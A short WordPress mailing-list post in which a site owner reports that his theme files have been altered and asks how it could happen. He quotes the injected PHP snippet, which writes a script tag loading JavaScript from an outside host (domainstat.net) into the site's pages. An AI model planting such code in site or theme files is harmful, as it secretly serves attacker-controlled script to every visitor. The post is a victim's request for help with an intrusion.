[wp-hackers] Domainstat intrusion

[Chetan Kunte]

Hi all -

First of all, I am sorry to bring this up on this forum, but my theme
files are getting modified. The modified files have this following
script inserted (the ID seems to change from file to file but
essentially this is it).

<? if (!defined('domainstat')) { define("domainstat", "ok");  echo
"<script language='JavaScript' type='text/javascript'
src='http://domainstat.net/stat.php?id=f15d1bf'></script>";}?>

Tell me I've been hacked and I'll believe you. More than that I'd like
to know how anyone could modify these files without permission. I'm
not being sloppy with passwords.

Any help / insight into this would really be helpful, thanks in advance.
--
Chetan, ckunte.com